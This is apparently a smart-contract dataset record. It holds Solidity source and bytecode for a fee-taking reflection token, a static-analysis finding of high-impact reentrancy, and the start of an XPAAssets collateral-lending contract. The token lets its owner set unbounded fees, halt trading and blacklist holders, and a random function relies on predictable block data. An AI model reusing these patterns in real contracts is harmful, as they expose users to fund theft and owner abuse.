_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b5060408051808201909152600881526710d0550810d5531560c21b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260048152634341545360e01b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d642e765d2a6a5a804c6a8cb815ca6e6d4097cd86aed140b7831d10473116ef264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,835
0xD0F7d665996B745b2399a127D5d84DAcd42D251f
pragma solidity ^0.4.21; interface Token { function totalSupply() constant external returns (uint256 ts); function balanceOf(address _owner) constant external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) constant external returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface XPAAssetToken { function create(address user_, uint256 amount_) external returns(bool success); function burn(uint256 amount_) external returns(bool success); function burnFrom(address user_, uint256 amount_) external returns(bool success); function getDefaultExchangeRate() external returns(uint256); function getSymbol() external returns(bytes32); } interface Baliv { function getPrice(address fromToken_, address toToken_) external view returns(uint256); } interface FundAccount { function burn(address Token_, uint256 Amount_) external view returns(bool); } interface TokenFactory { function createToken(string symbol_, string name_, uint256 defaultExchangeRate_) external returns(address); function getPrice(address token_) external view returns(uint256); function getAssetLength() external view returns(uint256); function getAssetToken(uint256 index_) external view returns(address); } contract SafeMath { function safeAdd(uint x, uint y) internal pure returns(uint) { uint256 z = x + y; require((z >= x) && (z >= y)); return z; } function safeSub(uint x, uint y) internal pure returns(uint) { require(x >= y); uint256 z = x - y; return z; } function safeMul(uint x, uint y) internal pure returns(uint) { uint z = x * y; require((x == 0) || (z / x == y)); return z; } function safeDiv(uint x, uint y) internal pure returns(uint) { require(y > 0); return x / y; } function random(uint N, uint salt) internal view returns(uint) { bytes32 hash = keccak256(block.number, msg.sender, salt); return uint(hash) % N; } } contract Authorization { mapping(address => address) public agentBooks; address public owner; address public operator; address public bank; bool public powerStatus = true; bool public forceOff = false; function Authorization() public { owner = msg.sender; operator = msg.sender; bank = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyOperator { assert(msg.sender == operator || msg.sender == owner); _; } modifier onlyActive { assert(powerStatus); _; } function powerSwitch( bool onOff_ ) public onlyOperator { if(forceOff) { powerStatus = false; } else { powerStatus = onOff_; } } function transferOwnership(address newOwner_) onlyOwner public { owner = newOwner_; } function assignOperator(address user_) public onlyOwner { operator = user_; agentBooks[bank] = user_; } function assignBank(address bank_) public onlyOwner { bank = bank_; } function assignAgent( address agent_ ) public { agentBooks[msg.sender] = agent_; } function isRepresentor( address representor_ ) public view returns(bool) { return agentBooks[representor_] == msg.sender; } function getUser( address representor_ ) internal view returns(address) { return isRepresentor(representor_) ? representor_ : msg.sender; } } contract XPAAssets is SafeMath, Authorization { string public version = "0.5.0"; // contracts address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170; address public oldXPAAssets = 0x0002992af1dd8140193b87d2ab620ca22f6e19f26c; address public newXPAAssets = address(0); address public tokenFactory = 0x001393F1fb2E243Ee68Efe172eBb6831772633A926; // setting uint256 public maxForceOffsetAmount = 1000000 ether; uint256 public minForceOffsetAmount = 10000 ether; // events event eMortgage(address, uint256); event eWithdraw(address, address, uint256); event eRepayment(address, address, uint256); event eOffset(address, address, uint256); event eExecuteOffset(uint256, address, uint256); event eMigrate(address); event eMigrateAmount(address); //data mapping(address => uint256) public fromAmountBooks; mapping(address => mapping(address => uint256)) public toAmountBooks; mapping(address => uint256) public forceOffsetBooks; mapping(address => bool) public migrateBooks; address[] public xpaAsset; address public fundAccount; uint256 public profit = 0; mapping(address => uint256) public unPaidFundAccount; uint256 public initCanOffsetTime = 0; //fee uint256 public withdrawFeeRate = 0.02 ether; // 提領手續費 uint256 public offsetFeeRate = 0.02 ether; // 平倉手續費 uint256 public forceOffsetBasicFeeRate = 0.02 ether; // 強制平倉基本費 uint256 public forceOffsetExecuteFeeRate = 0.01 ether;// 強制平倉執行費 uint256 public forceOffsetExtraFeeRate = 0.05 ether; // 強制平倉額外手續費 uint256 public forceOffsetExecuteMaxFee = 1000 ether; // constructor function XPAAssets( uint256 initCanOffsetTime_, address XPAAddr, address factoryAddr, address oldXPAAssetsAddr ) public { initCanOffsetTime = initCanOffsetTime_; XPA = XPAAddr; tokenFactory = factoryAddr; oldXPAAssets = oldXPAAssetsAddr; } function setFundAccount( address fundAccount_ ) public onlyOperator { if(fundAccount_ != address(0)) { fundAccount = fundAccount_; } } function createToken( string symbol_, string name_, uint256 defaultExchangeRate_ ) public onlyOperator { address newAsset = TokenFactory(tokenFactory).createToken(symbol_, name_, defaultExchangeRate_); for(uint256 i = 0; i < xpaAsset.length; i++) { if(xpaAsset[i] == newAsset){ return; } } xpaAsset.push(newAsset); } //抵押 XPA function mortgage( address representor_ ) onlyActive public { address user = getUser(representor_); uint256 amount_ = Token(XPA).allowance(msg.sender, this); // get mortgage amount if( amount_ >= 100 ether && Token(XPA).transferFrom(msg.sender, this, amount_) ){ fromAmountBooks[user] = safeAdd(fromAmountBooks[user], amount_); // update books emit eMortgage(user,amount_); // wirte event } } // 借出 XPA Assets, amount: 指定借出金額 function withdraw( address token_, uint256 amount_, address representor_ ) onlyActive public { address user = getUser(representor_); if( token_ != XPA && amount_ > 0 && amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether) ){ toAmountBooks[user][token_] = safeAdd(toAmountBooks[user][token_],amount_); uint256 withdrawFee = safeDiv(safeMul(amount_,withdrawFeeRate),1 ether); // calculate withdraw fee XPAAssetToken(token_).create(user, safeSub(amount_, withdrawFee)); XPAAssetToken(token_).create(this, withdrawFee); emit eWithdraw(user, token_, amount_); // write event } } // 領回 XPA, amount: 指定領回金額 function withdrawXPA( uint256 amount_, address representor_ ) onlyActive public { address user = getUser(representor_); if( amount_ >= 100 ether && amount_ <= getUsableXPA(user) ){ fromAmountBooks[user] = safeSub(fromAmountBooks[user], amount_); require(Token(XPA).transfer(user, amount_)); emit eWithdraw(user, XPA, amount_); // write event } } // 檢查額度是否足夠借出 XPA Assets /*function checkWithdraw( address token_, uint256 amount_, address user_ ) internal view returns(bool) { if( token_ != XPA && amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether) ){ return true; }else if( token_ == XPA && amount_ <= getUsableXPA(user_) ){ return true; }else{ return false; } }*/ // 還款 XPA Assets, amount: 指定還回金額 function repayment( address token_, uint256 amount_, address representor_ ) onlyActive public { address user = getUser(representor_); if( XPAAssetToken(token_).burnFrom(user, amount_) ) { toAmountBooks[user][token_] = safeSub(toAmountBooks[user][token_],amount_); emit eRepayment(user, token_, amount_); } } // 平倉 / 強行平倉, user: 指定平倉對象 function offset( address user_, address token_ ) onlyActive public { uint256 userFromAmount = fromAmountBooks[user_] >= maxForceOffsetAmount ? maxForceOffsetAmount : fromAmountBooks[user_]; require(block.timestamp > initCanOffsetTime); require(userFromAmount > 0); address user = getUser(user_); if( user_ == user && getLoanAmount(user, token_) > 0 ){ emit eOffset(user, user_, userFromAmount); uint256 remainingXPA = executeOffset(user_, userFromAmount, token_, offsetFeeRate); require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), 1 ether), safeAdd(1 ether, offsetFeeRate)))); //轉帳至平倉基金 fromAmountBooks[user_] = remainingXPA; }else if( user_ != user && block.timestamp > (forceOffsetBooks[user_] + 28800) && getMortgageRate(user_) >= getClosingLine() ){ forceOffsetBooks[user_] = block.timestamp; uint256 punishXPA = getPunishXPA(user_); //get 10% xpa emit eOffset(user, user_, punishXPA); uint256[3] memory forceOffsetFee; forceOffsetFee[0] = safeDiv(safeMul(punishXPA, forceOffsetBasicFeeRate), 1 ether); //基本手續費(收益) forceOffsetFee[1] = safeDiv(safeMul(punishXPA, forceOffsetExtraFeeRate), 1 ether); //額外手續費(平倉基金) forceOffsetFee[2] = safeDiv(safeMul(punishXPA, forceOffsetExecuteFeeRate), 1 ether);//執行手續費(執行者) forceOffsetFee[2] = forceOffsetFee[2] > forceOffsetExecuteMaxFee ? forceOffsetExecuteMaxFee : forceOffsetFee[2]; profit = safeAdd(profit, forceOffsetFee[0]); uint256 allFee = safeAdd(forceOffsetFee[2],safeAdd(forceOffsetFee[0], forceOffsetFee[1])); remainingXPA = safeSub(punishXPA,allFee); for(uint256 i = 0; i < xpaAsset.length; i++) { if(getLoanAmount(user_, xpaAsset[i]) > 0){ remainingXPA = executeOffset(user_, remainingXPA, xpaAsset[i],0); if(remainingXPA == 0){ break; } } } fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(punishXPA, remainingXPA)); require(Token(XPA).transfer(fundAccount, safeAdd(forceOffsetFee[1],safeSub(safeSub(punishXPA, allFee), remainingXPA)))); //轉帳至平倉基金 require(Token(XPA).transfer(msg.sender, forceOffsetFee[2])); //執行手續費轉給執行者 } } function executeOffset( address user_, uint256 xpaAmount_, address xpaAssetToken, uint256 feeRate ) internal returns(uint256){ uint256 